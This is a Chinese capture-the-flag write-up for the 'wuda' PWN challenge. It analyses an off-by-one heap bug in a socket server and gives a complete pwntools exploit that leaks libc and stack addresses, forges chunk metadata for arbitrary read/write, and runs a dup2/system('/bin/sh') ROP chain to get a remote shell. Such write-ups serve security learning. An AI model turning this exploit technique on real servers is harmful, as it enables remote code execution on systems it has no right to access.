攻防世界PWN之wuda题解

161 篇文章 9 订阅
161 篇文章 9 订阅

Wuda

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下

是一个类似于服务器的程序,监听了本地端口1337

看起来很复杂,当我们的关注点不在这

我们的关注点在这,当数据包满足一定的条件后,就能调出菜单。

菜单里是经典的增删改查操作

堆的大小没有限制,最多可以保存10个堆指针。

经过分析,我们发现节点的结构体是这样的

  1. typedef struct Node {    
  2.     int64_t size;    
  3.     char *content;    
  4. };    

malloc的顺序是这样的

  1. Node *node = (Node *)malloc(sizeof(Node))  
  2. node->size = size;  
  3. node->content = (char *)malloc(sizeof(char)*size)  

edit功能存在一个off by one漏洞,能够溢出一个字节数据

show功能不存在漏洞

delete功能不存在UAF漏洞

解题思路

构造这样的堆布局

chunk3需要借位到chunk4通过chunk3的off by one,控制chunk4堆块的size的prev_inuse位为0,代表前一个相邻块为free的状态,在content2的末尾8字节,伪造prev_size为0、1、2、3的总大小

我们知道node结构体里有一个content指针,我们能够控制这个指针,就能实现任意地址读写,我们只需malloc一个大于等于0xA0的堆,就能够控制整个node1了,就能轻而易举的修改node1的content指针

实现了任意地址的读写,本题我们写了free_hook或者malloc_hook以后还没有完事,本题是一个服务器端程序,我们简单的getshell,只会在服务器上弹出shell并且socat只对端口做了转发,不像其他类型的pwn是由socat重定向0和1。因此,我们还需要手动把01重定向到socketfd中去,这样,我们才能在我们这边得到shell

我们既然已经实现了任意地址读写,那么我们不如写ROP到某函数的返回处的栈地址处。利用ROP,我们可以调用dup2函数来重定向0和1文件描述符到socket的文件描述符,也可以mprotect一块RWX的内存,跳过去执行,这里我选择的是直接ROP执行dup2函数。

综上,我们的exp脚本

#coding:utf8
from pwn import *

sh = remote('127.0.0.1',1337)
#sh = remote('127.0.0.1',2333)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
pop_rdi = 0x4092c3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4092c1
malloc_hook_s = libc.symbols['__malloc_hook']
system_s = libc.sym['system']
dup2_s = libc.sym['dup2']
binsh_s = libc.search('/bin/sh').next()
#借助environ,我们可以得到栈地址
environ = libc.symbols['environ']

def init_connect():
   #magic
   sh.send('RPCM')
   sh.send(p32(0x10))
   sh.send(p32(0))
   #发送-1,网络序是大端,因此我们逆序
   sh.send(p32(0x100000000-1)[::-1])

def create(size,content):
   sh.sendlineafter('Your choice :','1')
   sh.sendlineafter('Size:',str(size))
   sh.sendafter('Content:',content)

def edit(index,content):
   sh.sendlineafter('Your choice :','2')
   sh.sendlineafter('Index:',str(index))
   sh.sendafter('Content: ',content)

def show(index):
   sh.sendlineafter('Your choice :','3')
   sh.sendlineafter('Index :',str(index))


def delete(index):
   sh.sendlineafter('Your choice :','4')
   sh.sendlineafter('Index :',str(index))

init_connect()
#=====这个骚操作,是为了让以后申请的块能够连续===
create(0x1000,'\x00'*0x1000)
create(0x1000,'\x00'*0x1000)
delete(0)
delete(1)
#===============================================

#unsorted bin范围的chunk,用于泄露libc指针
create(0x80,'a'*0x80) #0
create(0x10,'b'*0x10) #1
create(0x80,'c'*0x80) #2
create(0x20,'d'*0x20) #3
create(0x20,'e'*0x20) #4

delete(0)
create(0x80,'\n')
#泄露libc指针
show(0)
sh.recvuntil('Content : ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
environ_addr = libc_base + environ
dup2_addr = libc_base + dup2_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'dup2_addr=',hex(dup2_addr)
#=============这里的操作,是为了让chunk0、2、3的数据域相邻,而chunk1结构体和数据则处于0和2之间,这样,我们利用off by one,控制chunk3的size=====
delete(2)
delete(3)
create(0x18,'c'*0x18) #2
delete(4)
create(0x80,'d'*0x80) #3
#============================
#现在chunk2 off by one,覆盖chunk1的size的低一字节
#使得prev_size = 0xE0,prev_inuse位为0,这样我们就可以向前合并
edit(2,'c'*0x10 + p64(0xF0) + p8(0x90))
delete(0)
#向前合并
delete(3)

create(0xA0,'a'*0x80) #0
#现在节点1的结构体重合到了节点0的数据域末尾,我们可以修改了,我们将节点1的结构体内的数据域指针指向我们需要的地址,实现任意地址读写
#现在,我们要泄露栈地址,我们就把指针指向environ
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x10) + p64(environ_addr)
edit(0,payload)
#泄露栈地址
show(1)
sh.recvuntil('Content : ')
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
#计算出fd存放的位置
fd_addr = stack_addr - 0x77C
print 'fd_addr=',hex(fd_addr)
#泄露fd
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(0x4) + p64(fd_addr)
edit(0,payload)
show(1)
sh.recvuntil('Content : ')
fd = u32(sh.recvuntil('\n',drop = True).ljust(4,'\x00'))
print 'fd=',hex(fd)
#计算ROP写入的位置,即写到edit函数的返回地址存放处即可
rop_addr = stack_addr - 0x740
#dup(fd,0)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
#dup(fd,1)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
#system('/bin/sh')
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

#指向rop_addr,然后写ROP
payload = 'a'*0x80 + p64(0x90) + p64(0x21) + p64(len(rop)) + p64(rop_addr)
edit(0,payload)
edit(1,rop)

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值